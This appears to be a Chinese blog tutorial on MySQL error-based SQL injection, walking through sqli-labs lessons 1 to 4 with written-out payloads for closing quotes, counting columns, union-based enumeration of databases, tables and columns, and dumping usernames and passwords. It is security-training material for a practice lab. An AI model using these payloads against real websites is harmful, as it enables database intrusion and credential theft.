SQL报错回显+sqli-libs 1-4

写在前边

  正式开始填坑,靶场搭建之前的文章已经写了,不清楚的可以去 https://www.cnblogs.com/Lee-404/p/12787190.html

  如果不清楚什么是SQL注入的,可以去了解一下 https://www.cnblogs.com/Lee-404/p/12795193.html

  这篇是介绍的是MySQL基于SQL报错回显注入的原理和sqli-libs 1— 4的练习

 

SQL报错回显

    首先,我们先了解一下说明是报错,当sql语句错误时,会爆出错误,我们可以根据错误提示来猜测sql查询语句,比如在sqli-1中传入 ?id=1 时

SQL报错回显+sqli-libs 1-4

 

 

   页面返回正确,但当我们传入 ?id=1' 时候 ,页面会回显报错

SQL报错回显+sqli-libs 1-4

 

 

   这时候我们可以得到错误信息,重点关注

''1'' LIMIT 0,1'

  真正错误的实际上是红色部分,发现多个单引号,单引号是我们传入的,由此,可以推断SQL语句是

select * from users where id = '$id' limit 0,1;

  $id是我们传入可控制的,因为多了一个了单引号所以报错,接下来开始构造

?id = 1' or 1=1 --+

SQL报错回显+sqli-libs 1-4

 

 

   构造成功绕过,此时的sql语句应该为

select * from users where id = '1' or 1=1 -- ' limit 1,0;  //--+表示连接后边被注释的语句

  这时候我们就可以为所欲为了

  查询字段数

?id = 1' order by 字段数 --+  //当字段数报错且当前字段数-1不报错时,该表的字段数为当前报错字段数-1

SQL报错回显+sqli-libs 1-4

SQL报错回显+sqli-libs 1-4

 

 

   得出当前字段数为3,接下来看一下各字段数显示位置

?id=-1'union select 1,2,3--+   //当查询一个不存在的值时,会执行联合后边语句并将后边的语句执行值返回显示

SQL报错回显+sqli-libs 1-4

  可以发现,2,3的显示位置,我们可以更改2,3处的语句来查询数据

  爆数据

?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

SQL报错回显+sqli-libs 1-4

 

 

  发现将所有数据库都爆了出来,接下来爆表,因为sqli-labs的数据库是security,接下来爆表

?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

SQL报错回显+sqli-libs 1-4

   爆表的字段名

?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

SQL报错回显+sqli-libs 1-4

 

 

   爆字段值

?id=-1'union select 1,username,password from users where id=2--+

SQL报错回显+sqli-libs 1-4

 

 

   其实,回显报错注入最重要的就是推测SQL语句并让其闭合

 Less-2

  构造 ?id=1'

SQL报错回显+sqli-libs 1-4

 

 

   发现是多了个单引号,此时的SQL语句应该

Select * from TABLE where id = 1' limit 0,1;

  所以传入 ?id=1 or 1=1 --+

SQL报错回显+sqli-libs 1-4

 

 

   接下来按照Less-1的方法注入

 

Less-3

  传入 ' 让其报错

SQL报错回显+sqli-libs 1-4

 

 

   推测SQL语句

Select login_name, select password from table where id= ('$id')

  构造 ?id=1') or 1=1 --+

SQL报错回显+sqli-libs 1-4

 

 

   其他注入姿势

   ') or '1'=('1'

   ') or 1=1 --+

  其他的和Less-1一样

Less-4

  '传入发现不报错,尝试传入"报错

SQL报错回显+sqli-libs 1-4

 

 SQL报错回显+sqli-libs 1-4

 

   此时的SQL的执行语句

$sql="SELECT * FROM users WHERE id=("1"") LIMIT 0,1";

   那我们构造 ?id=1") or 1=1 --+

 SQL报错回显+sqli-libs 1-4

 

   其他的和Less-1一样,把 ' 改为 "

 

如有错误和不足请联系,谢谢

 

上一篇:java.lang.UnsatisfiedLinkError: No implementation found for


下一篇:还没用上 JDK 12 ?JDK 13 已经可以下载了